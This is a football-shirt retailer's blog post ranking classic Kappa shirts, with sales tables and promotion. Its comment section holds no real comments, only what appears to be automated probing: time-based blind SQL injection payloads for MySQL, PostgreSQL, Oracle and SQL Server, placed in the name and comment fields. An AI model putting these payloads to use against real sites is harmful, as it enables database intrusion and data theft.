0

Your Cart is Empty

Recently added
  • 2025/26 Werder Bremen Hummel Third Shirt | Hummel
  • Vintage shirts
  • Concept kits
  • Featured

  • Nasa concept club

    Nasa Concept Club

  • FC Killa Villa

  • Blog
  • Legends
  • The best Kappa shirts of all time

    by Phil Delves February 05, 2022 4 min read 25 Comments

    The best Kappa shirts of all time

    Which team had the best vintage  Kappa shirt?

    The Italian brand might not cast as wide a shadow across the kit world as Nike or adidas, but they have stood tall as one of the most creative and beautiful shirt makers over the years, from their early days with Juventus to their modern creations with Napoli.

    Kappa were the brand behind the incredible Kombat kits at the turn of the millennium, which showcased what was possible with material innovation. The explicit use of the Kappa logo on sleeves led to some gorgeous designs which remain the pinnacle of hipster, nostalgic kit culture decades after their original appearances.

    As we did with our best USA ‘94 shirts list, we asked Twitter to help us compile a list of the best Kappa shirts of all time, and the results were predictably stunning with teams from Serie A, La Liga and the Premier League.  

    We've sold a lot of Kappa at Football Shirt Collective, and the data doesn't lie. Juventus, Barcelona and Italy dominate our sales charts, which makes perfect sense. These were the clubs and national teams that defined the Kappa golden era - roughly 1988 to 2002 - when the brand's presence in elite football was at its absolute peak. Whether it's a Baggio-era Juve home shirt or Ronaldo's iconic Barça strip, these are the shirts collectors are hunting down. And they're willing to pay serious money for the right ones.

    Here's our definitive guide to the best Kappa shirts ever made, backed by our own sales data and the opinions of people who actually know their stuff.

    Here is our list of the greatest Kappa shirts of all time

    1.  Juventus kappa football shirts

    1998/99 HENRY #6 Juventus Vintage Kappa Home Football Shirt (L)

    Juventus and Kappa is a good place to start.  Juve were Kappa’s first big break, so they seem like a natural place to start our Kappa love-in.  This was the most popular choice of classic Kappa shirt from our community.

    Browse our collection of Juventus shirts here.  

    2.  Barcelona football shirts

    1995/97 Barcelona Vintage Kappa Home Football Shirt Jersey (L) Ronaldo Era

    Kappa were on fire with Barcelona too.  Of course, Barcelona Kappa kits will always have a special place in our hearts.  Again a popular pick largely driven by R9.

    Browse our collection of Barcelona shirts here.  

    3.  Real Betis

    2002/03 REAL BETIS Vintage Kappa Away Football Shirt Jersey (S/M)

    The joy of Kappa Real Betis shirts (including one with a hidden secret).  Did you know, the pattern of this Betis shirt is actually comprised of a giant “K” (and a sneaky “a”)? An already stunning shirt just gets better. 

    And basically every Betis Kappa shirt is god-tier.

    Browse our collection of Real Betis shirts here.

    4.  Roma kappa shirts 

    2000/01 BATISTUTA #18 AS Roma Vintage Kappa Away Football Shirt (L)How could we forget about the Kappa years at Roma?  Of course, it helps when players like Batigol and Totti wear your kits.

    Browse our collection of Roma shirts here.

    5.  Ajax kappa shirts

    We might not immediately think of Ajax when it comes to Kappa, but maybe we should.

    Browse our collection of Ajax shirts here.

    7.  Manchester City kappa shirts

    1998-99 Manchester City Kappa Away Football Shirt L | Excellent

    Let’s not forget about the wonderful Kappa Man City shirts.  Bright and neon and with the kappa print on the sleeve.   A partnership which we celebrated in a recent blog.

    Browse our collection of Manchester City shirts here.

    The most popular kappa shirts at FSC (ranked by sales)

    Shirt Units Sold
    1995/97 Barcelona Vintage Kappa Home Football Shirt 8
    1998/00 Jamaica Vintage Kappa Home Football Shirt 4
    1996/97 Ronaldo #9 Barcelona Vintage Kappa Home Football Shirt 2
    1998/99 Totti #20 Italy Vintage Kappa Football Shirt 2
    2000/01 Italy Vintage Kappa Football Training Shirt 2
    1990/91 Baggio #10 Juventus Vintage Kappa Home Football Shirt 1
    1991/92 Baggio #10 Juventus Vintage Kappa Basic Home Football Shirt 1
    1992/94 Baggio #10 Juventus Vintage Kappa Home LS Football Shirt 1
    1994/95 Baggio #10 Juventus Vintage Kappa Home Football Shirt 1
    1992/95 Barcelona Vintage Kappa Home Football Shirt 1
    1995/96 Juventus Vintage Kappa Third Football Shirt 1
    1995/96 Juventus Vintage Kappa Long Sleeve Home Football Shirt 1
    1988/89 AC Milan Vintage Kappa Football Full Tracksuit Top Jacket 1
    1997/99 Manchester City Vintage Kappa Long Sleeve Home Football Shirt 1


    Which countries love Kappa the most?

    Country Units Sold
    🇬🇧 United Kingdom 42
    🇺🇸 United States 15
    🇦🇺 Australia 6
    🇮🇹 Italy 4
    🇧🇪 Belgium 3
    🇭🇰 Hong Kong 3
    🇩🇪 Germany 2
    Rest of World 11


    Where can I get an authentic Kappa shirt?

    Every Kappa shirt at Football Shirt Collective is guaranteed authentic. No replicas. No fakes. No grey areas. Kappa shirts are among the most commonly faked in the vintage market — particularly the Juventus and Barcelona pieces — so buying from a trusted source matters enormously.

    All our shirts come with 10+ detailed photographs so you can see exactly what you're getting before you buy. Our 4.8 Trustpilot score and 500+ five-star reviews are built on that transparency.

    If you're looking for your next Kappa piece, browse our full Kappa collection here.

    Read our guide to tell if your kappa shirt is fake or legit.

    Phil Delves
    Phil Delves

    As Head of Content, Phil is the creative playmaker of the team, covering every angle of football shirt news in our blogs and weekly Newsletter. Whether it's telling your fakes from your authentics, or deep dives into the newest football shirts designs, Phil will have all your football shirt content needs covered.

    25 Responses

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555*if(now()=sysdate(),sleep(15),0)

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555

    @@IB3d2
    @@IB3d2

    November 28, 2024

    555

    jJQaBOcg����%2527%2522\'\"
    jJQaBOcg����%2527%2522\'\"

    November 28, 2024

    555

    jJQaBOcg'"
    jJQaBOcg'"

    November 28, 2024

    555

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555

    jJQaBOcg'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    jJQaBOcg'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    November 28, 2024

    555

    jJQaBOcgyB3x5QV8')) OR 693=(SELECT 693 FROM PG_SLEEP(15))--
    jJQaBOcgyB3x5QV8')) OR 693=(SELECT 693 FROM PG_SLEEP(15))--

    November 28, 2024

    555

    jJQaBOcgIKyplogj') OR 420=(SELECT 420 FROM PG_SLEEP(15))--
    jJQaBOcgIKyplogj') OR 420=(SELECT 420 FROM PG_SLEEP(15))--

    November 28, 2024

    555

    jJQaBOcgm9BBwQ6n' OR 157=(SELECT 157 FROM PG_SLEEP(15))--
    jJQaBOcgm9BBwQ6n' OR 157=(SELECT 157 FROM PG_SLEEP(15))--

    November 28, 2024

    555

    jJQaBOcgMJquRxcD'
    jJQaBOcgMJquRxcD'

    November 28, 2024

    555

    jJQaBOcg-1 waitfor delay '0:0:15' --
    jJQaBOcg-1 waitfor delay '0:0:15' --

    November 28, 2024

    555

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    November 28, 2024

    555

    jJQaBOcg0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    jJQaBOcg0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    November 28, 2024

    555

    jJQaBOcg0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    jJQaBOcg0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    November 28, 2024

    555

    if(now()=sysdate(),sleep(15),0)
    if(now()=sysdate(),sleep(15),0)

    November 28, 2024

    555

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    1

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    1

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    1

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555

    jJQaBOcg
    jJQaBOcg

    November 28, 2024

    555

    Leave a comment